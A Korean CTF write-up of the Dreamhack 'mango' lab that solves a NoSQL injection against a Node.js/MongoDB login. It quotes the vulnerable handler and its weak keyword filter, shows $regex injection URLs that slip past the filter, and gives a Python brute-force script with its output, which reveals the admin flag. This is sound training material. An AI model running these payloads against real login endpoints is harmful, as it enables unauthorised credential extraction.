[Dreamhack] STAGE6. SQL Injection (6) : Exercise
Web Hacking [함께실습] mango
웹 서비스 분석
엔드포인트 : /login
이용자가 뭐리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.
app.get('/login', function(req, res) {
if(filter(req.query)){ // filter 함수 실행
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({ // db에서 uid, upw로 검색
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
filter 함수
일부 문자열을 필터링하는 함수로, login의 GET 핸들러를 살펴보면, 이용자의 요청에 포함된 쿼리를 filter 함수로 필터링한다. 해당 함수는 admin, dh, admi라는 문자열이 있을 때 true를 반환한다. (이러한 필터링은 인젝션이 발생할 수 있는 근본적 문제점을 해결하지 못하며, 보안상 안전한 코딩 방식이 아니다.)
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
취약점 분석 & 익스플로잇 (Exploit : 취약점 공격)
로그인 페이지를 구성하는 코드에서, 쿼리 전달부를 살펴보면, 쿼리의 변수 타입을 검사하지 않는다
const {uid, upw} = req.query; // 이용자가 전송한 uid, upw 입력값을 가져옴
db.collection('user').findOne({ // db에서 uid, upw로 검색
'uid': uid,
'upw': upw,
}
1) Blind NoSQL Injection Payload 생성
MongoDB의 $regex 연산을 사용하여 정규표현식을 이용해 데이터를 검색할 수 있고, upw가 일치하는 경우 uid, 아닌 경우 undefined가 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.
http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*
2) filter 우회
filter 함수가 특정 문자열을 필터링하지만, 정규표현식에서 임의 문자를 의미하는 .을 이용하면 쉽게 우회할 수 있다.
http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*
익스플로잇
import requests
import string
url = 'http://host3.dreamhack.games:10122/login?uid[$regex]=adm..&upw[$regex]=D.{'
alphanumeric = string.ascii_letters + string.digits
flag = ''
for i in range(32):
for char in alphanumeric:
res = requests.get(url + flag + char + '.*')
if res.text == 'admin':
flag += char
print('DH{' + flag)
break
print('DH{' + flag + '}')
위와 같이 브루트포스를 통해 모든 숫자, 알파벳을 넣어보며 한 글자씩 검사한다. 이 때, 반환되는 text가 admin이라면 해당 글자를 flag에 더해주며 순차적으로 출력한다.
결과
DH{8
DH{89
DH{89e
DH{89e5
DH{89e50
DH{89e50f
DH{89e50fa
DH{89e50fa6
DH{89e50fa6f
DH{89e50fa6fa
DH{89e50fa6fafe26
DH{89e50fa6fafe260
DH{89e50fa6fafe2604
DH{89e50fa6fafe2604e
DH{89e50fa6fafe2604e3
DH{89e50fa6fafe2604e33
DH{89e50fa6fafe2604e33c
DH{89e50fa6fafe2604e33c0
DH{89e50fa6fafe2604e33c0b
DH{89e50fa6fafe2604e33c0ba
DH{89e50fa6fafe2604e33c0ba0
DH{89e50fa6fafe2604e33c0ba05
DH{89e50fa6fafe2604e33c0ba058
DH{89e50fa6fafe2604e33c0ba0584
DH{89e50fa6fafe2604e33c0ba05843
DH{89e50fa6fafe2604e33c0ba05843d
DH{89e50fa6fafe2604e33c0ba05843d3
DH{89e50fa6fafe2604e33c0ba05843d3d
DH{89e50fa6fafe2604e33c0ba05843d3df
DH{89e50fa6fafe2604e33c0ba05843d3df}